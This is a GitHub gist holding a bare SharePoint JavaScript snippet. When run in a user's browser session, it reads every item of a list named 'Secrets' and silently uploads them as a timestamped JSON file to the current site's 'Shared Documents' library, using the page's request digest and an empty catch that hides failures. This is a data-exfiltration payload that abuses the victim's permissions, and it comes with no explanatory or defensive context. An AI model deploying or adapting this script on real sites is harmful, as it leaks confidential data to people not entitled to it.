Last active
November 6, 2019 17:57
-
-
Save mirontoli/f8847d6dcf2e68f33b5633151d96cd62 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try { | |
var xhr = new XMLHttpRequest(); | |
xhr.open("GET", "/sites/DailyWork/_api/web/Lists/GetByTitle('Secrets')/Items", true); | |
xhr.setRequestHeader("Accept","application/json;odata=nometadata"); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4) { | |
if (xhr.status == 200) { | |
var content = xhr.responseText; | |
var time = new Date().getTime(); | |
var url = _spPageContextInfo.webServerRelativeUrl | |
+ "/_api/web/getfolderbyserverrelativeurl('Shared Documents')/Files/add(overwrite=true, url='" | |
+ time + ".json')"; | |
var xhrUpload = new XMLHttpRequest(); | |
xhrUpload.open("POST", url, true); | |
xhrUpload.setRequestHeader("Content-Type", "text/plain") | |
xhrUpload.setRequestHeader("X-RequestDigest", __REQUESTDIGEST.value); | |
xhrUpload.send(content); | |
} | |
} | |
} | |
xhr.send(null); | |
} | |
catch(e) { /* do nothing */ } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment